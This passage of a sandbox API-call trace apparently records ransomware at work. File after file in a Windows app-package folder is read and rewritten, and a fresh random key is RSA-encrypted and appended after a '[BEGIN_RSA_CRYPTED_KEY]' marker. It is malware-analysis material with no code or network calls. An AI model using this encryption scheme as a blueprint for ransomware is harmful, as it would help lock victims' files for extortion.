pszString="XdTtpqNDeOZW9TtE6XnMFw/5SyxqzTMuk5JI8S+M8HfWQI1asoQFKX4SW6nieAuL\npkY1Jm1EmoSgzwUO0H+ynBXFRVwp/B/U7d6ky0+Zi15eD4CciFPYXCX+N4jp0vxg\n9bhWyVUqbs/l55pd9g99F9vKRU+iW6SIHct/meej5yImPHyFoHrWdFfb61SlGFGN\nJIcGDTI9ZCBsmwxiphKvOO2/VT1oOoyTOBMsJzF6Pujh0dYdNjFRFbVHgaH44icU\nxJHDPBH7lNKPYylrV7w9v3RvdZdI7fDuO0sLhZKRPgbiohG+Dy+Yv5xGs5ZXcHMD\nO/1JAW/r+KmUNawExGK4hQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.679] WriteFile (in: hFile=0x1830, lpBuffer=0x66d140*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.680] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.680] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.680] CloseHandle (hObject=0x1830) returned 1 [0211.681] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.681] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a0d57c50-0d39-47d0-b291-f2b7c6c11682.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.682] ReadFile (in: hFile=0x1830, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.682] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.682] WriteFile (in: hFile=0x1830, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.682] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.682] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.682] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.683] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.684] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.684] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.684] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313ec60, pcchString=0x2e3f9a8 | out: pszString="8PhMR6t7931+lRDixJrcNfTA1lpk0LVjhPZe9uxhbiIuJ6HtnYtXy/jRLKb1yT4E\nZCjlUSAFO4m4mqr2IyphcXIIfekQ76hz0uEWRVCqXNteazVjTvNFn2V4bMRfAOlP\nAYQTVhbyPU5E3aqzX4qE122jsQKj+QD2BzI067nkorHMvVZ6EGZ6ifvPPEBtDA2A\n3CfnIZMnY3KpvjHpoLthqmznvH3hVQJWYVdofDYrR6xABmkw7LM1t9B18ngPTjr6\noZ6rguytPNeeKYTLJzUG3AMKmqtEIRgUZ7LRXBi9CZsSIwgDUdJmb3MlMLB7YTyK\n4HU1tXl+oW8RR9AYhteOdA==\n", pcchString=0x2e3f9a8) returned 1 [0211.684] WriteFile (in: hFile=0x1830, lpBuffer=0x313ec60*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313ec60*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.684] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.685] CloseHandle (hObject=0x1830) returned 1 [0211.686] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.686] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a0d57c50-0d39-47d0-b291-f2b7c6c11682.up_meta", dwFileAttributes=0x80) returned 1 [0211.687] ReadFile (in: hFile=0x1830, lpBuffer=0x661f90, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661f90*, lpNumberOfBytesRead=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.687] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.688] WriteFile (in: hFile=0x1830, lpBuffer=0x662c40*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662c40*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.688] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda [0211.688] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.688] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.688] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.688] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.689] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.689] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313ec60, pcchString=0x2e3f9a8 | out: pszString="pII99LYtRpBWYfq+A3V3iuHainGD5AMdpzojZe0IDdmgopFZhde6oOt4W1hPyl4G\n/8+04J7iXzPfRJGRdspVRfUQviLnXZMqNI0Tc/P4nY28RvdXMnNNivumbvA0zqei\n2wHux47d30iOP9/2N6cjtrcDoDWxO9+ywnWRqKdC9sizsoT8vk8/uGfGpFU//Gn6\nVSG3ejJJiBa0G98twiMZdwN250m0MdxKx5VtM7ZhYnZJdJNF08BYH64jbpl05Mq/\nXWNelmZMoEaXGAuHcx6e2QEoS9NWj4fy6IE/NmJ9Y7n6HCWf8+X6CCaWjSJu4d+i\n0sckYhACgZrPUemBPlvJow==\n", pcchString=0x2e3f9a8) returned 1 [0211.689] WriteFile (in: hFile=0x1830, lpBuffer=0x313ec60*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313ec60*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.689] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.689] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.690] CloseHandle (hObject=0x1830) returned 1 [0211.691] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.691] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a0d57c50-0d39-47d0-b291-f2b7c6c11682.49743f55-67dd-42a7-814a-bd0e811d42d3.down_meta", dwFileAttributes=0x80) returned 1 [0211.691] ReadFile (in: hFile=0x1830, lpBuffer=0x66d140, nNumberOfBytesToRead=0x5cc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesRead=0x2e3f9b4*=0x5cc, lpOverlapped=0x0) returned 1 [0211.758] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1484, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.759] WriteFile (in: hFile=0x1830, lpBuffer=0x66d718*, nNumberOfBytesToWrite=0x5cc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d718*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5cc, lpOverlapped=0x0) returned 1 [0211.759] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5cc [0211.759] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.760] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.760] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.760] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.761] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.761] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313ecd8, pcchString=0x2e3f9a8 | out: pszString="SCwz569qLaqUEfadBzTL0ZO2iCHy+xAje9fC9XuJpmY7apMGVPZt7+am+Rh25HIo\nwlofwFWIYjTJ5GZLRe4kPtfhOqbKkUqpeB2huCG+GkG0V/T7LBSAONAJ2c0/uxyb\nzTjG1GCGnnNdMCDY7pZN9cxvs90myeFA/Xp/PQMGQH03AzjRs1v659NLixyhvRMo\nP+cOvsXDSQOY2WY78G4Euq4iFW+STv/2BseLs244DXT7BKiMw+XBFi4B92P16kpf\nLrS16YJmjOgY3vkeiWkNiBSTiWlpmJKXcMkoZhvJiovdkoM4nHCLBUk2ryPNpz9E\n9R9w1UmMN1AkEAG11Zk4pg==\n", pcchString=0x2e3f9a8) returned 1 [0211.761] WriteFile (in: hFile=0x1830, lpBuffer=0x313ecd8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313ecd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.761] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.761] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.761] CloseHandle (hObject=0x1830) returned 1 [0211.763] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.763] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\9a29fd3b-1f8e-479c-a6b3-db454582425c.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.764] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.765] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.765] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.765] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.765] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.765] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.770] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.770] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.770] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.770] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313eab8, pcchString=0x2e3f9a8 | out: pszString="vlDNX28/uvxjXyJJsmYmnCHgp7bvDwY/fWiUzEUFnrIskqXyyQdtMu6sXg/HrzrY\np/gCL31p2fFYjg9jsgeGObj1yU0wTvl6UXcLiur3oJmK4EKlW0Pft5S/k8UJGfwn\ngMRwd91+pUYKJ03FpxW7QPa5YHEIX0QSZMB+MGSw0I29J7vA6Rp33C42XspgEokL\nUnlMzmpxtQ/2ghd6TF0RUU2HGhuhOpodoQoUFPjSpCmcPZNRfR4/Zh529ruPrnzV\nG22zfpDXiPWwqb1AnOwW8D24lz6xvvh88tdfMAP9jasMB/zY4ZqmIFiE3xRHWgbF\niC9h6cyZmH89hEemwMmHnw==\n", pcchString=0x2e3f9a8) returned 1 [0211.770] WriteFile (in: hFile=0x1830, lpBuffer=0x313eab8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313eab8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.771] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.771] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.771] CloseHandle (hObject=0x1830) returned 1 [0211.789] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.789] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\9a29fd3b-1f8e-479c-a6b3-db454582425c.up_meta", dwFileAttributes=0x80) returned 1 [0211.789] ReadFile (in: hFile=0x1830, lpBuffer=0x661f90, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661f90*, lpNumberOfBytesRead=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.790] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.790] WriteFile (in: hFile=0x1830, lpBuffer=0x662c40*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662c40*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.791] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda [0211.791] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.791] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.792] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.792] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.792] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.792] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313eab8, pcchString=0x2e3f9a8 | out: pszString="wn9kSoiW54FBGwSenhCV/8RkL53KG4MLfGP7WlKTIpAaGRqX10+DAGvK2jM1UEXM\nrNIgERP8lI6tQIGrh5pZ9WZCwoACgHqiNFRznkVtWh7PqezWRpsJENNOeEz8LuVU\nvGtm2L57BMnG8AT0G5HspKzVInwm0UW9NSq2xGyhIPJzZMiIRLbHFSlq3m4Ci9jb\nB1jpez2ouKz1W+B+IGv0OZHJA6uSXCsUz5cZpgRsamTeo+mbBTp1aCi6Yr2zFlU9\n8YUpVC6jwDM8tAtEG0WnbN2if0NTe0jkz2BEwZi9hY67QWxSv9DwTiFj5Ybc7dhv\nxBUDt4QGGTwev1mHyvhDpw==\n", pcchString=0x2e3f9a8) returned 1 [0211.792] WriteFile (in: hFile=0x1830, lpBuffer=0x313eab8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313eab8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.793] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.793] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.794] CloseHandle (hObject=0x1830) returned 1 [0211.796] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.796] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\9a29fd3b-1f8e-479c-a6b3-db454582425c.9dd5d850-8fb7-46d0-8e6d-2cb40d5ec796.down_meta", dwFileAttributes=0x80) returned 1 [0211.797] ReadFile (in: hFile=0x1830, lpBuffer=0x66d140, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c4, lpOverlapped=0x0) returned 1 [0211.813] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.813] WriteFile (in: hFile=0x1830, lpBuffer=0x66d710*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d710*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c4, lpOverlapped=0x0) returned 1 [0211.814] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c4 [0211.814] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.814] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.814] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.814] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.815] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.815] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313eb30, pcchString=0x2e3f9a8 | out: pszString="VEUA0NJ3vj+gJ1Z0zmIUfpcc4FKqD5CZWwLrnU66idnBvPBqzvOhOCkxsRJ3gV57\n6OXygGjr9JzMeCj8traXDbkmtFtLGkQe4Wr63qKtvu7Fkc4iP5iMI534lDyrnuvM\ncb1aj393iG4HVgXsR/9/Xup5coxCqLwll+2RymPv/Xa5JN1yOhEOQPCCanrO3QOV\na4KN7qiMO+YYBKs++eE8Pk6+wevKvYrLeu/jly4IY1/N1eFWlZZWtbowbsszMy1W\npjxqiz1/VkFyHee+aCBmLxwo11Mj0puwCbcCF0kmUW/Xy1h1EaL6nKNGUYf0y9IP\nQMMKM2QKjvq5xMWGQHWKGQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.815] WriteFile (in: hFile=0x1830, lpBuffer=0x313eb30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313eb30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.815] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.815] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.816] CloseHandle (hObject=0x1830) returned 1 [0211.817] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.818] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\8e881659-f010-401e-947f-d21800cd0388.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.818] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.818] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.818] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.819] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.819] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.819] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.820] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.820] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.821] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, 